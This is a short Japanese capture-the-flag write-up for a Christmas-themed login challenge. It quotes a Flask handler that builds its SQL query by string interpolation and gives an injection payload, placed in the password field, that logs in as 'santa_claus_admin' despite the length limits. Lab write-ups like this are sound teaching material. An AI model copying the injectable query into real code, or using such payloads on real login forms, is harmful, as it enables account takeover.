🦙 < このシステムには脆弱性があるパカ!
🦌 < 僕たちになりすましてログインできたら、フラグをプレゼントするよ!
🎅 < メリークリスマス!ホッホッホッ!
抜粋
@app.post("/login")
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if len(username) > 12 or len(password) > 48:
return "Your input is too long!"
conn = sqlite3.connect("database.db")
query = (
f"SELECT * FROM users WHERE username='{username}' AND password='{password}';"
)
error = None
try:
user = conn.execute(query).fetchone()
except sqlite3.Error as e:
user = None
error = str(e)
conn.close()
if error:
return f"SQL error: {error}"
if user is None:
return "invalid credentials"
if user[0] == "alpaca":
return f"Hello, alpaca! Here is your flag: {FLAG_1}"
elif user[0] == "reindeer":
return f"Hello, reindeer! Here is your flag: {FLAG_2}"
elif user[0] == "santa_claus_admin":
return f"Hello, santa_claus_admin! Here is your flag: {FLAG_3}"
else:
return f"Hello, {user[0]}!"
フラグが3分割されており、3ユーザでログイン成功させる
query = (
f"SELECT * FROM users WHERE username='{username}' AND password='{password}';"
)
となっておりSQLi可能。
しかし、以下の制限がある。
if len(username) > 12 or len(password) > 48:
username "santa_claus_admin"はそのまま入れると弾かれるので工夫が必要。
password = ' OR username='santa_claus_admin'--
となるように組み立てれば'santa_claus_admin'をユーザ名として指定できる。
ちなみにSQLではたいていORよりANDの方が優先順位が高い
A AND B OR C = (A AND B) OR C